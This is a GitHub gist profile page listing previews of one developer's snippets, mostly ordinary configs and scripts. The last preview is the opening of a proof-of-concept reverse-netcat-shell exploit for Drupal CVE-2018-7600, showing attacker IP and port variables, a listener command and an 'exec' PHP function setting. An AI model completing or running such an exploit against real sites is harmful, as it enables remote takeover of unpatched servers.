Skip to content

Instantly share code, notes, and snippets.

View AlbinoDrought's full-sized avatar
🇨🇦
Use AGPL

Sean AlbinoDrought

🇨🇦
Use AGPL
View GitHub Profile
@AlbinoDrought
AlbinoDrought / check-smb-http.sh
Created March 28, 2019 21:25
The most terrifying healthcheck for an SMB server
#!/bin/sh
if [ -z "$2" ]; then
echo "usage: [host] [share] [protocol?=smb2] [port?=8080]"
echo "example: localhost bar"
exit 1
fi
HOST=$1
SHARE=$2
@AlbinoDrought
AlbinoDrought / docker-compose.yml
Last active February 27, 2019 03:49
docker-compose for creamy-static
version: "2"
services:
creamy-static:
image: albinodrought/creamy-static
ports:
- 3000:3000
environment:
FILE_PATH: /static
PORT: 3000
volumes:
@AlbinoDrought
AlbinoDrought / beautiful-i3wm-config.md
Created February 6, 2019 00:02
Pasting screenshots into Thunderbird like its the Year of the Linux desktop ™️

I have struggled pasting screenshots into Thunderbird for too long. This is how I made it work:

  1. Installl CopyQ because nothing else worked for me: https://github.com/hluk/CopyQ
  2. Here's your scrot command: scrot -s -e 'mv $f /tmp/ && copyq write image/png - < /tmp/$f && copyq select 0' 2.5. Here's your i3wm bindsym scrot command: bindsym --release $mod+Print exec scrot -s -e 'mv $f /tmp/ && copyq write image/png - < /tmp/$f && copyq select 0'

Have fun

@AlbinoDrought
AlbinoDrought / cloud-config.ovirt.yml
Created October 11, 2018 22:04
RancherOS cloud-config.yml for OVirt
#cloud-config
# assumes virtio
# replace and uncomment ssh_authorized_keys with your pubkey(s)
#ssh_authorized_keys:
# - ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDWFPEou1/OK86UK1hB2YrFOpdhB30mcYFF3qwRcoGezmGyZxbKHTGs2DvJCeIHe1K7INjzpkwPqzXsKAKMnkdgDqHya8iEvblDl/DVDnnvLD3GDzH/0XboV5glvJcGMtmqbsZl0jMsWjTX/1oRiIpE6wU2AFTSDVAHWKMlJS+EoTZUpe6MHp5LXny/kSqGVGTwJNDIB2TevmCFGPTUDUyEd5q8h1jQQdz1Sv2yrVFG3SxaZiwqea3eRd4qz7H86PzZN9BSDERvuS6f62VzR1stbHIHohw53U2POoXKV/YBGdYsYNdg565yCfgCgKSp1bwQtF7kzI8RDiVVBeSutuBP sean@Malone-Tuning-26
rancher:
# extend /dev/vda to the entire disk, if necessary
resize_device: /dev/vda
state:
@AlbinoDrought
AlbinoDrought / background.js
Created September 20, 2018 03:24
Send links or pages to youtube-dl-web-ui
browser.contextMenus.create({
id: "send-to-rippy",
title: "Send to Rippy",
contexts: ["all"],
});
browser.contextMenus.onClicked.addListener((info, tab) => {
if (info.menuItemId !== "send-to-rippy") {
return;
}
@AlbinoDrought
AlbinoDrought / docker-compose.yml
Last active September 19, 2018 23:08 — forked from stevenmunro/docker-compose.yml
Invoice-Ninja for Rancher
version: '2'
volumes:
invoiceninja-db:
external: true
driver: rancher-nfs
invoiceninja-storage:
external: true
driver: rancher-nfs
invoiceninja-logo:
external: true
@AlbinoDrought
AlbinoDrought / creamy-things-to-make.md
Last active August 4, 2023 15:39
Creamy Things To Make ™️

Creamy Things

  • SkipTheDishes tracker (No longer used)
  • 🎊 Some ghetto NextCloud clone that I feel safe selfhosting (probably read only) (video version here, working and in use) (file version WIP)
  • yet another IRC client for the 21st century
  • selfhosted screensharing thing (like rabb.it, but not) alternative exists: https://github.com/m1k1o/neko
  • a modern browser that isn't rounded
  • some way to import normal cams to unify Unifi Video is losing support, moving to something like Shinobi instead (ctrl-f NVR)
  • foss modern feedback tracker thing (can io)
  • visual dice rolling bot to make hard life choices for me
@AlbinoDrought
AlbinoDrought / data.bits.normalizer.js
Last active August 27, 2018 18:35 — forked from adadgio/data.bits.normalizer.ts
non-typescript version of DataBitsNormalizer, with the default export being the created class
function isArray(input) {
return (Object.prototype.toString.call(input) === '[object Array]') ? true : false;
}
var sampleData = [
{ soilhum: 500, airtemp: true, airhum: 18, water: true, name: "romain", cats: ["a", "b"] },
{ soilhum: 1050, airtemp: false, airhum: 21, water: true, name: "romain", cats: ["c", "a"] },
{ soilhum: 300, airtemp: true, airhum: 90, water: false, name: "edwards", cats: ["a", "b"] },
{ soilhum: 950, airtemp: true, airhum: 26, water: true, name: "jane", cats: ["c", "b"] },
{ soilhum: 1050, airtemp: false, airhum: 26, water: true, name: "romain", cats: ["a", "b"] },
{ soilhum: 1050, airtemp: false, airhum: 26, water: true, name: "romain", cats: ["b", "c"] },
@AlbinoDrought
AlbinoDrought / use-jira-backlog.greasemonkey.js
Created April 16, 2018 22:41
Replace shitty Jira links with links to the backlog
// ==UserScript==
// @name Replace shitty Jira links with links to the backlog
// @namespace http://tampermonkey.net/
// @version 0.1
// @description try to take over the world!
// @author You
// @match https://*.atlassian.net/*
// @grant none
// ==/UserScript==
(function() {
@AlbinoDrought
AlbinoDrought / drupal-reverse-shell.sh
Created April 12, 2018 18:35
Drupal CVE-2018-7600 PoC - reverse netcat shell ;)
#!/bin/sh
YOUR_EXTERNAL_IP="172.16.30.108"
YOUR_NETCAT_PORT="6969"
# Start up a netcat server
# netcat -l 6969
HOST="http://drupal.docker.localhost:8000"
PHP_FUNCTION="exec"